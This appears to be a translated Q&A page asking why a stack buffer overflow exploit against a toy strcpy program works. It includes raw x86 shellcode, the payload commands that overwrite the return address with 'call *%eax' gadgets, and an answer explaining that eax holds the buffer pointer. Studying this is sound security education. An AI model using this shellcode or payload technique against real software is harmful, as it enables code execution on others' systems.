[英]How to explain this buffer overflow vulnerability in C
鑒於此C程序:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[1024];
strcpy(buf, argv[1]);
}
內置:
gcc -m32 -z execstack prog.c -o prog
給定外殼代碼:
EGG=$(printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/df')
該程序可通過以下命令進行利用:
./prog $EGG$(python -c 'print "A" * 991 + "\x87\x83\x04\x08"')
./prog $EGG$(python -c 'print "A" * 991 + "\x0f\x84\x04\x08"')
我從哪里獲得地址:
$ objdump -d prog | grep call.*eax
8048387: ff d0 call *%eax
804840f: ff d0 call *%eax
我了解中間AAAA
填充的含義,我根據程序中buf
的長度和$EGG
的長度計算了991。
我不明白的是為什么這些帶有call *%eax
地址中的任何一個都會觸發復制到buf
開頭的shellcode的執行。 據我了解,我用0x8048387
(或另一個)覆蓋了返回地址,我不明白的是為什么這會導致跳轉到shellcode。
通過閱讀“ 粉碎堆棧”獲得樂趣和利潤,我已經走到了這一步 。 但是本文使用了另一種猜測相對地址來跳轉到Shellcode的方法。 我感到困惑的是,為什么這種更簡單的替代解決方案可以正常工作而無需猜測。
strcpy
的返回值是目的地(在這種情況下為buf
),並且使用寄存器eax
傳遞了該值。 因此,如果在main
返回之前沒有什么破壞eax
, eax
將持有一個指向您的shell代碼的指針。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.